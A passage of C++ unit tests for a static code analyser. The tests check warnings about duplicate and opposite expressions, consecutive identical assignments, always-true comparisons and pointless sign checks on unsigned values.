= q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. 